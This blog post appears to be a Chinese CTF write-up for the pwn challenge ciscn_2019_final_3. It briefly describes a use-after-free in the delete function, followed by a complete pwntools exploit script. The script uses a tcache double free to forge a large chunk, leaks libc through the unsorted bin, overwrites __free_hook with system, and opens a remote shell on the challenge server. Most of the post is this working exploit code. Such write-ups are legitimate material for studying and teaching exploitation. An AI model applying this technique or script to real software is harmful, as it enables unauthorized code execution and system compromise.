ciscn_2019_final_3 需要避开当前free的chunk的下一个chunk不能超过arena的边界

安全检查

 

 

程序分析

没什么特别的

 

 delete 典型的uaf漏洞

 

 漏洞利用

  • 利用uaf漏洞,指向一个堆的size域,然后修改为0x400以上,在delete就可以进入unsorted bin中
  • 通过uaf再malloc,就可以泄露main_arena+96的地址,这样泄露了libc地址
  • 劫持free_hook函数,进行hook,再申请一个/bin/sh字符串,即可

from pwn import *

#p=process('./ciscn_final_3')
p=remote('node3.buuoj.cn',25453)
libc=ELF('../libc-2.27.so')
elf=ELF('./ciscn_final_3')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
def add(idx,size,content):
    p.recvuntil('choice > ')
    p.sendline('1')
    p.recvuntil('index')
    p.sendline(str(idx))
    p.recvuntil('size')
    p.sendline(str(size))
    p.recvuntil('something')
    p.sendline(content)
    p.recvuntil('gift :')
    return int(p.recvline()[2:],16)

def delete(idx):
    p.recvuntil('choice > ')
    p.sendline('2')
    p.recvuntil('index')
    p.sendline(str(idx))

heap=add(0,0x78,'a')#0
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'pppp')

delete(12)
delete(12)

add(13,0x28,p64(heap-0x10))
add(14,0x28,p64(heap-0x10))
add(15,0x28,p64(0)+p64(0x421))

delete(0)
delete(1)

add(16,0x78,'pppp')
add(17,0x18,'pppp')
libc_base=add(18,0x18,'pppp')-0x3ebca0

free_hook=libc_base+libc.symbols['__free_hook']
system_addr=libc_base+libc.symbols['system']

delete(3)
delete(3)

add(19,0x78,p64(free_hook))
add(20,0x78,p64(free_hook))
add(21,0x78,p64(system_addr))

add(22,0x78,'/bin/sh')
add(23,0x78,'/bin/sh')
#delete(22)

#gdb.attach(p)
p.interactive()

 

posted @ 2020-11-26 03:16  PYozo_free  阅读(406)  评论(0编辑  收藏  举报